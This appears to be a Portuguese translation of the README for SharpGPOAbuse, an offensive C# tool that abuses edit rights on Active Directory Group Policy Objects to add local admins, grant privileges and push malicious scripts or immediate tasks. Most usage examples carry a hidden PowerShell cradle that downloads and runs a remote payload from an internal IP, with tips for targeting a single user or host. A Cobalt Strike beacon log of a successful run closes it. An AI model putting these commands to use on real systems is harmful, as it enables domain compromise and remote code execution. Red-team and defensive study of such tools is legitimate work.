
SharpGPOAbuse é uma aplicação .NET escrita em C# que pode ser usada para aproveitar os direitos de edição de um usuário em um Objeto de Política de Grupo (GPO) a fim de comprometer os objetos controlados por esse GPO.
SharpGPOAbuse é uma aplicação .NET escrita em C# que pode ser usada para tirar proveito dos direitos de edição de um usuário em um Objeto de Política de Grupo (GPO) para comprometer os objetos controlados por esse GPO.
Mais detalhes podem ser encontrados no seguinte post do blog: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
Certifique-se de que os pacotes NuGet necessários estejam instalados corretamente e simplesmente compile o projeto no Visual Studio.
Usage:
SharpGPOAbuse.exe <AttackType> <AttackOptions>
Atualmente, o SharpGPOAbuse oferece suporte às seguintes opções:
| Opção | Descrição |
|---|---|
| --AddUserRights | Adicionar direitos a um usuário |
| --AddLocalAdmin | Adicionar um usuário ao grupo de administradores locais |
| --AddComputerScript | Adicionar um novo script de inicialização do computador |
| --AddUserScript | Configurar um script de logon de usuário |
| --AddComputerTask | Configurar uma tarefa imediata do computador |
| --AddUserTask | Adicionar uma tarefa imediata a um usuário |
Opções necessárias para adicionar novos direitos de usuário:
--UserRights
Define os novos direitos a adicionar a um usuário. Esta opção diferencia maiúsculas de minúsculas e uma lista separada por vírgulas deve ser usada.
--UserAccount
Define a conta para adicionar os novos direitos.
--GPOName
O nome do GPO vulnerável.
Exemplo:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Opções necessárias para adicionar um novo administrador local:
--UserAccount
Define o nome da conta a ser adicionada ao grupo de administradores locais.
--GPOName
O nome do GPO vulnerável.
Exemplo:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Opções necessárias para adicionar um novo script de inicialização de computador ou logon de usuário:
--ScriptName
Define o nome do novo script de inicialização.
--ScriptContents
Define o conteúdo do novo script de inicialização.
--GPOName
O nome do GPO vulnerável.
Exemplo:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Se você deseja executar o script malicioso apenas em um usuário ou computador específico controlado pelo GPO vulnerável, pode adicionar uma instrução if dentro do script malicioso:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Opções necessárias para adicionar uma nova tarefa imediata de computador ou usuário:
--TaskName
Define o nome da nova tarefa do computador.
--Author
Define o autor da nova tarefa (use uma conta DA).
--Command
Comando a ser executado.
--Arguments
Argumentos passados para o comando.
--GPOName
O nome do GPO vulnerável.
Opções Adicionais de Tarefa de Usuário:
--FilterEnabled
Ativar Filtragem de Destino para tarefas imediatas de usuário.
--TargetUsername
O usuário a ser alvo. A tarefa maliciosa será executada apenas no usuário especificado. Deve estar no formato <DOMÍNIO>\<NOMEUSUÁRIO>
--TargetUserSID
O SID do usuário alvo.
Opções Adicionais de Tarefa de Computador:
--FilterEnabled
Ativar Filtragem de Destino para tarefas imediatas de computador.
--TargetDnsName
O nome DNS do computador a ser alvo. A tarefa maliciosa será executada apenas no host especificado.
Exemplo:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Se você deseja executar a tarefa maliciosa apenas em um usuário ou computador específico controlado pelo GPO vulnerável, pode usar algo semelhante ao seguinte:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
| Opção | Descrição |
|---|---|
| --DomainController | Definir o controlador de domínio alvo |
| --Domain | Definir o domínio alvo |
| --Force | Sobrescrever arquivos existentes se necessário |
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!